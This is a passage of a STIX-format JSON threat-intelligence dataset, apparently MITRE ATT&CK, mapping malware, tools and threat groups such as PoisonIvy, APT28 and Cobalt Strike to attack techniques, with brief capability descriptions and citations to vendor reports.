Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new system device.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--19161920-e6b5-481f-a240-62f05c624010", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of CodeExecution modules that enable by injecting code (DLL, shellcode) or reflectively loading a Windows PE file into a process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1da7a099-122d-4c26-b27f-f8acabdd7b44", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell to add a Registry Run key in order to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--82826722-4278-438e-a8d0-5bd9fd117b2b", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[SslMM](https://attack.mitre.org/software/S0058) sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.497Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "The [Derusbi](https://attack.mitre.org/software/S0021) malware supports timestomping.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "Malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) can run commands on the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.356Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses cmd.exe to execute commands and custom backdoors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a3ee84d8-139e-4703-97c9-53cdeea94f66", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[Flame](https://attack.mitre.org/software/S0143) can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--052b685c-6d95-4a98-86f1-4c9bb39a398c", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:53.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--630dedba-136b-4ea3-956e-f8f38e96653d", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.415Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "Following exploitation with [LOWBALL](https://attack.mitre.org/software/S0042) malware, [admin@338](https://attack.mitre.org/groups/G0018) actors created a file containing a list of commands to be executed on the compromised computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.051Z", + "id": "relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--02462741-4148-48b3-881b-1b813ce62fcc", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.431Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Dyre](https://attack.mitre.org/software/S0024) injects into other processes to load modules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--508879cf-53b7-4578-9a5f-9ed20dfb09ef", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "modified": "2019-04-24T23:21:07.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "The author of [GravityRAT](https://attack.mitre.org/software/S0237) submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--03e6e755-12a2-4261-b95d-caea6b2bf051", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.157Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) can perform credential dumping.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7ad1bbdf-4a00-426a-b130-fb4425ad2622", + "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "modified": "2019-06-07T15:40:16.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "A Linux version of [Derusbi](https://attack.mitre.org/software/S0021) checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. [Derusbi](https://attack.mitre.org/software/S0021) also gathers the username of the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.587Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a80751f1-8def-4415-a38b-35ceb703244c", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "description": "[Flame](https://attack.mitre.org/software/S0143) has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:53.987Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Beetlejuice", + "description": "Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.", + "url": "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) has a command to delete its Registry key and scheduled task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b80516ee-1635-43da-babf-201d9f76c1d8", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "An older version of [CHOPSTICK](https://attack.mitre.org/software/S0023) has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--838b4a52-1360-4ca7-ab25-1b549508e687", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.881Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) malware has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--db191b70-063d-433b-a462-9f7611a5a0e2", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a link to itself in the Startup folder to automatically start itself upon system restart.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) connects to external C2 infrastructure over the HTTP port.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6ff627a0-fd3d-46ac-a935-e503bd6b4d5f", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "source_name": "Symantec Wiarp May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "Analysis of [Daserf](https://attack.mitre.org/software/S0187) has shown that it regularly undergoes technical improvements to evade anti-virus detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--719f0c42-8eb8-461b-8f35-cf5dfc42e47b", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.623Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--66f2ff8f-abc2-4a6c-9652-89d7c824422c", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is capable of opening a command terminal.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--19be6ce1-8eea-47ff-b87c-3358d390454d", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:53.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "source_name": "SecureWorks BRONZE UNION June 2017", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:00.981Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" 